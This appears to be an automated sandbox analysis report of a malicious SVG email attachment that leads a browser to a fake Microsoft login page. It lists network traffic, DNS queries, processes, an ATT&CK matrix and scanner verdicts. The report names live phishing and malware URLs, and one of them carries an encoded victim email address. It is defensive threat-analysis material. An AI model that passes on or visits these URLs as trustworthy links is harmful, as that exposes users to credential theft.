Source: global traffic	HTTP traffic detected: GET /google.php HTTP/1.1Host: 6032451419.xyzConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://inv18993383.cloudfaxservice.de/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /google.php HTTP/1.1Host: 6032451419.xyzConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /c1c6b6c8-1iycxpxawkuokc-wiqn-vnyzu5nngn8rjgxxy-gqteq/logintenantbranding/0/illustration?ts=638367808639029605 HTTP/1.1Host: aadcdn.msauthimages.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://inv18993383.cloudfaxservice.de/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /c1c6b6c8-1iycxpxawkuokc-wiqn-vnyzu5nngn8rjgxxy-gqteq/logintenantbranding/0/bannerlogo?ts=638367808625913364 HTTP/1.1Host: aadcdn.msauthimages.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://inv18993383.cloudfaxservice.de/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /c1c6b6c8-1iycxpxawkuokc-wiqn-vnyzu5nngn8rjgxxy-gqteq/logintenantbranding/0/bannerlogo?ts=638367808625913364 HTTP/1.1Host: aadcdn.msauthimages.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /c1c6b6c8-1iycxpxawkuokc-wiqn-vnyzu5nngn8rjgxxy-gqteq/logintenantbranding/0/illustration?ts=638367808639029605 HTTP/1.1Host: aadcdn.msauthimages.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /google.php HTTP/1.1Host: 6032451419.xyzConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /google.php HTTP/1.1Host: 6032451419.xyzConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /google.php HTTP/1.1Host: 6032451419.xyzConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /google.php HTTP/1.1Host: 6032451419.xyzConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: inv18993383.cloudfaxservice.de
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: cdn.jsdelivr.net
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: maxcdn.bootstrapcdn.com
Source: global traffic	DNS traffic detected: DNS query: stackpath.bootstrapcdn.com
Source: global traffic	DNS traffic detected: DNS query: 6032451419-1317754460.cos.ap-singapore.myqcloud.com
Source: global traffic	DNS traffic detected: DNS query: 6032451419.xyz
Source: global traffic	DNS traffic detected: DNS query: aadcdn.msftauth.net
Source: global traffic	DNS traffic detected: DNS query: aadcdn.msauthimages.net
Source: global traffic	DNS traffic detected: DNS query: e2c62.gcp.gvt2.com
Source: global traffic	DNS traffic detected: DNS query: beacons.gcp.gvt2.com
Source: global traffic	DNS traffic detected: DNS query: beacons.gvt2.com
Source: global traffic	DNS traffic detected: DNS query: beacons2.gvt2.com
Source: global traffic	DNS traffic detected: DNS query: beacons3.gvt2.com
Source: global traffic	DNS traffic detected: DNS query: beacons4.gvt2.com

Source: unknown

HTTP traffic detected: POST /cdn-cgi/challenge-platform/h/g/flow/ov1/1512482722:1741962396:DsZa9o8_bAodc0CbmjXZ6xV9SZxUo37HLnZOdTqsMOU/9204aa6769be577b/8rCEJ4Fbd1hu3nLWLaHZbdjc_tW44kol7Fa8Fk4ILxU-1741964688-1.1.1.1-4uG0SiqWwPBA8W_3GJv2j45NkTS_sb5fpzUaSjBrkmQ10sER6P7CnuYjh11emsVN HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveContent-Length: 3486sec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Content-Type: text/plain;charset=UTF-8cf-chl: 8rCEJ4Fbd1hu3nLWLaHZbdjc_tW44kol7Fa8Fk4ILxU-1741964688-1.1.1.1-4uG0SiqWwPBA8W_3GJv2j45NkTS_sb5fpzUaSjBrkmQ10sER6P7CnuYjh11emsVNcf-chl-ra: 0sec-ch-ua-mobile: ?0Accept: */*Origin: https://challenges.cloudflare.comSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/9d05c/0x4AAAAAAA_17RW0oiaBV-_V/auto/fbE/new/normal/auto/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closeContent-Length: 53Access-Control-Allow-Origin: Access-Control-Expose-Headers: Timing-Allow-Origin: *Cache-Control: public, max-age=600, s-maxage=600Cross-Origin-Resource-Policy: cross-originX-Content-Type-Options: nosniffStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadContent-Type: text/plain; charset=utf-8ETag: W/"35-Su9w8wyWNKnBnB1glhnyKiBNAH4"Accept-Ranges: bytesAge: 204Date: Fri, 14 Mar 2025 15:04:46 GMTX-Served-By: cache-fra-etou8220171-FRA, cache-ewr-kewr1740064-EWRX-Cache: HIT, MISSVary: Accept-Encodingalt-svc: h3=":443";ma=86400,h3-29=":443";ma=86400,h3-27=":443";ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closeContent-Length: 53Access-Control-Allow-Origin: Access-Control-Expose-Headers: Timing-Allow-Origin: *Cache-Control: public, max-age=600, s-maxage=600Cross-Origin-Resource-Policy: cross-originX-Content-Type-Options: nosniffStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadContent-Type: text/plain; charset=utf-8ETag: W/"35-Su9w8wyWNKnBnB1glhnyKiBNAH4"Accept-Ranges: bytesDate: Fri, 14 Mar 2025 15:05:08 GMTAge: 226X-Served-By: cache-fra-etou8220171-FRA, cache-ewr-kewr1740035-EWRX-Cache: HIT, HITVary: Accept-Encodingalt-svc: h3=":443";ma=86400,h3-29=":443";ma=86400,h3-27=":443";ma=86400

Source: chromecache_75.2.dr	String found in binary or memory: http://opensource.org/licenses/MIT).
Source: chromecache_84.2.dr	String found in binary or memory: https://getbootstrap.com)
Source: chromecache_83.2.dr	String found in binary or memory: https://getbootstrap.com/)
Source: chromecache_84.2.dr, chromecache_83.2.dr	String found in binary or memory: https://github.com/twbs/bootstrap/blob/master/LICENSE)
Source: chromecache_84.2.dr, chromecache_83.2.dr	String found in binary or memory: https://github.com/twbs/bootstrap/graphs/contributors)

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49686 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50900
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50905
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 49681 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50907
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50913
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50912
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50915
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49682
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49681
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50916
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50918
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49682 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49679 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 50916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746

Source: unknown	HTTPS traffic detected: 142.250.186.100:443 -> 192.168.2.6:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.73.71:443 -> 192.168.2.6:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.94.41:443 -> 192.168.2.6:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.65.229:443 -> 192.168.2.6:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.95.41:443 -> 192.168.2.6:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.10.207:443 -> 192.168.2.6:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.11.207:443 -> 192.168.2.6:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.24.14:443 -> 192.168.2.6:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.130.137:443 -> 192.168.2.6:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 43.153.232.152:443 -> 192.168.2.6:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 69.49.246.64:443 -> 192.168.2.6:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 69.49.246.64:443 -> 192.168.2.6:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.22.242.216:443 -> 192.168.2.6:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 92.123.12.139:443 -> 192.168.2.6:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.19.96.24:443 -> 192.168.2.6:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.19.96.24:443 -> 192.168.2.6:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.19.96.123:443 -> 192.168.2.6:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.19.96.123:443 -> 192.168.2.6:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.158.181:443 -> 192.168.2.6:50915 version: TLS 1.2

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Windows\SystemTemp\scoped_dir6308_63765687

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File deleted: C:\Windows\SystemTemp\scoped_dir6308_63765687

Jump to behavior

Source: classification engine

Classification label: mal88.phis.troj.winSVG@27/37@134/23

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2136,i,6788396865685641017,7357401523558097738,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version --mojo-platform-channel-handle=2108 /prefetch:3
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "C:\Users\user\Desktop\ATT50896.svg"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2136,i,6788396865685641017,7357401523558097738,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version --mojo-platform-channel-handle=2108 /prefetch:3	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	2 Browser Extensions	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 File Deletion	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file:///C:/Users/user/Desktop/ATT50896.svg	0%	Avira URL Cloud	safe
https://inv18993383.cloudfaxservice.de/MSovS/?e=YmpvZXJuLmNocmlzdGVuQGNoYWluaXEuY29t	100%	Avira URL Cloud	phishing
https://6032451419-1317754460.cos.ap-singapore.myqcloud.com/bootstrap.min.js	0%	Avira URL Cloud	safe
https://6032451419.xyz/google.php	100%	Avira URL Cloud	malware
https://inv18993383.cloudfaxservice.de/MSovS?e=YmpvZXJuLmNocmlzdGVuQGNoYWluaXEuY29t	100%	Avira URL Cloud	malware

Domains and IPs

Download Network PCAP: filtered – full

Contacted Domains

Name	IP	Active	Malicious	Reputation
jsdelivr.map.fastly.net	151.101.65.229	true	false	high
stackpath.bootstrapcdn.com	104.18.10.207	true	false	high
sgp.file.myqcloud.com	43.153.232.152	true	false	high
beacons3.gvt2.com	142.250.186.35	true	false	high
e329293.dscd.akamaiedge.net	2.22.242.216	true	false	high
s-part-0044.t-0009.fb-t-msedge.net	13.107.253.72	true	false	high
6032451419.xyz	69.49.246.64	true	false	high
beacons-handoff.gcp.gvt2.com	142.250.180.99	true	false	high
maxcdn.bootstrapcdn.com	104.18.11.207	true	false	high
beacons2.gvt2.com	192.178.57.3	true	false	high
beacons.gvt2.com	142.251.143.67	true	false	high
beacons6.gvt2.com	172.217.16.195	true	false	high
code.jquery.com	151.101.130.137	true	false	high
e2c62.gcp.gvt2.com	34.18.10.222	true	false	high
cdnjs.cloudflare.com	104.17.24.14	true	false	high
challenges.cloudflare.com	104.18.94.41	true	false	high
gce-beacons.gcp.gvt2.com	34.84.0.87	true	false	high
www.google.com	142.250.186.100	true	false	high
inv18993383.cloudfaxservice.de	104.21.73.71	true	false	high
beacons4.gvt2.com	216.239.32.116	true	false	high
s-part-0032.t-0009.t-msedge.net	13.107.246.60	true	false	high
cdn.jsdelivr.net	unknown	unknown	false	high
6032451419-1317754460.cos.ap-singapore.myqcloud.com	unknown	unknown	false	high
aadcdn.msftauth.net	unknown	unknown	false	high
beacons.gcp.gvt2.com	unknown	unknown	false	high
aadcdn.msauthimages.net	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://inv18993383.cloudfaxservice.de/MSovS/?e=YmpvZXJuLmNocmlzdGVuQGNoYWluaXEuY29t	false	Avira URL Cloud: phishing	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/flow/ov1/1512482722:1741962396:DsZa9o8_bAodc0CbmjXZ6xV9SZxUo37HLnZOdTqsMOU/9204aa6769be577b/8rCEJ4Fbd1hu3nLWLaHZbdjc_tW44kol7Fa8Fk4ILxU-1741964688-1.1.1.1-4uG0SiqWwPBA8W_3GJv2j45NkTS_sb5fpzUaSjBrkmQ10sER6P7CnuYjh11emsVN	false		high
https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/9d05c/0x4AAAAAAA_17RW0oiaBV-_V/auto/fbE/new/normal/auto/	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/pat/9204aa6769be577b/1741964690440/71a107cd5447f57b2c5756f4a94883fec5ebe127dce038cb26b3ae440004ee7f/2fcOOZH0I5q3Jx2	false		high
https://code.jquery.com/jquery-3.2.1.slim.min.js	false		high
